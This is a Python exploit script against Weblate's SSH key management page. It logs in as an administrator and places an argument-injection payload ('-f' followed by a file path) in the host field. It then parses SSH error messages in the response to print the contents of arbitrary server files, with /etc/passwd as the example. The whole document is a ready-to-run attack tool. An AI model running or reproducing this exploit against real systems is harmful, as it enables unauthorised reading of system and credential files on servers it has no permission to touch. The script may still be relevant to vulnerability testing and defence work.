#!/usr/bin/env python import requests import argparse import re from bs4 import BeautifulSoup import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Debug configuration proxies = { "http": "http://127.0.0.1:8080", } AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.4495.75 Safari/537.36" def parse_response(html_content): soup = BeautifulSoup(html_content, 'html.parser') # Look for the error block where the leaked data resides error_div = soup.find('div', class_='alert-danger') if not error_div: return "[-] Data block not found in the response." raw_text = error_div.get_text() patterns = [ r"getaddrinfo\s+(.*?):\s+Name or service not known", r"write\s+\((.*?)\):\s+Connection refused", r"connect\s+[`'‘](.*?)['’]:\s+Network is unreachable" ] extracted_lines = [] for pattern in patterns: matches = re.findall(pattern, raw_text, re.MULTILINE) for m in matches: line = m.strip() if line and "Could not get host key" not in line: extracted_lines.append(line) if not extracted_lines: return f"[-] Extraction failed. Raw text snippet: {raw_text[:100]}..." return "\n".join(list(dict.fromkeys(extracted_lines))) def exploit(session, rhost, file): response_get = session.get(rhost, verify=False) soup = BeautifulSoup(response_get.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] endpoint = '/manage/ssh/' url = f"{rhost.rstrip('/')}{endpoint}" payload = f'-f{file}' headers = { "User-Agent": AGENT, "Referer": f"{rhost.rstrip('/')}/manage/ssh/" } data = { "csrfmiddlewaretoken": csrf_token, "host": payload, "port": 123, "action": "add-host" } print(f"[*] Sending payload to {url}, this could take some time, please be patient...") r = session.post(url, data=data, headers=headers, verify=False) print("\n[+] Extracted file content:") print("-" * 50) print(parse_response(r.text)) print("-" * 50) print(f"[!] Exploit finished") def login(rhost, username, password): session = requests.Session() login_url = f"{rhost.rstrip('/')}/accounts/login/" try: response_get = session.get(login_url, verify=False) soup = BeautifulSoup(response_get.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] headers = { "User-Agent": AGENT, "Referer": login_url, "Origin": rhost, "Content-Type": "application/x-www-form-urlencoded" } payload = { "csrfmiddlewaretoken": csrf_token, "username": username, "password": password, "next": "/" } response_post = session.post(login_url, data=payload, headers=headers, verify=False) if response_post.status_code == 200 and "logout" in response_post.text.lower(): print(f"\n[+] Login successful for user: {username}") return session else: print("[-] Login failed. Please check your credentials or CSRF token.") return None except Exception as e: print(f"[!] Network Error: {e}") return None if __name__ == '__main__': parser = argparse.ArgumentParser(description="Exploit script for Weblate SSH key management vulnerability.") parser.add_argument('-r','--rhost', type=str, required=True, help="Weblate Host (e.g., https://vulnerable-site.com)") parser.add_argument('-u','--username', type=str, required=True, help="Weblate Administrator Username") parser.add_argument('-p','--password', type=str, required=True, help="Weblate Administrator Password") parser.add_argument('-f','--file', type=str, required=True, help="Path to the file to read (e.g., /etc/passwd)") args = parser.parse_args() auth_session = login(args.rhost, args.username, args.password) if auth_session: exploit(auth_session, args.rhost, args.file)